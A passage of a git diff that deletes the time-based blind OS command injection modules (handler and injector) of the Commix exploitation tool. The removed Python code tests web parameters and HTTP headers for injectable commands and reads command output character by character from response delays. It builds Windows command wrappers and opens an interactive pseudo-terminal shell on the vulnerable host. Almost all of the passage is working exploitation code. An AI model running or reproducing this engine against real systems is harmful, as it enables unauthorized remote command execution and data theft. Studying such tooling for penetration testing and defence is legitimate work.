whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py deleted file mode 100755 index 0897d60d91..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ /dev/null @@ -1,624 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector -from src.core.injections.blind.techniques.time_based import tb_payloads -from src.core.injections.blind.techniques.time_based import tb_enumeration -from src.core.injections.blind.techniques.time_based import tb_file_access - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -The "time-based" injection technique handler. -""" -def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - - if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - maxlen = settings.MAXLEN - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - warn_msg = "The '--url-reload' option is not available in " + technique + "." - print(settings.print_warning_msg(warn_msg)) - - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.TIME_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) - - if not settings.LOAD_SESSION: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Define alter shell - alter_shell = menu.options.alter_shell - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - if alter_shell: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) - else: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(1, 10) - randv2 = random.randrange(1, 10) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == "win": - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" - else: - cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) - - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - else: - break - # False positive - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - - # Yaw, got shellz! - # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False - else: - settings.LOAD_SESSION = False - - new_line = False - # Check for any enumeration options. - if settings.ENUMERATION_DONE == True: - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = True - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - - # Check if defined single cmd. - if menu.options.os_cmd: - cmd = menu.options.os_cmd - check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) - raise SystemExit() - - if not new_line : - print(settings.SINGLE_WHITESPACE) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - false_positive_warning = False - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n" + settings.print_output(output)) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - break - - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - settings.TIME_RELATIVE_ATTACK = True - - if url_time_response >= settings.SLOW_TARGET_RESPONSE: - warn_msg = "It is highly recommended, due to serious response delays, " - warn_msg += "to skip the time-based (blind) technique and to continue " - warn_msg += "with the file-based (semiblind) technique." - print(settings.print_warning_msg(warn_msg)) - go_back = False - while True: - if go_back == True: - return False - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) - elif proceed_option.lower() == "c": - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - return False - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - settings.TIME_RELATIVE_ATTACK = False - return False -# eof diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py deleted file mode 100755 index 73a8b6e85c..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ /dev/null @@ -1,578 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.blind.techniques.time_based import tb_payloads - -""" - The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else : - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - -""" -The main command injection exploitation. -""" -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - if menu.options.file_write or menu.options.file_upload: - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - for output_length in range(int(minlen), int(maxlen)): - if alter_shell: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Presuming the execution output." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" - else: - info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and 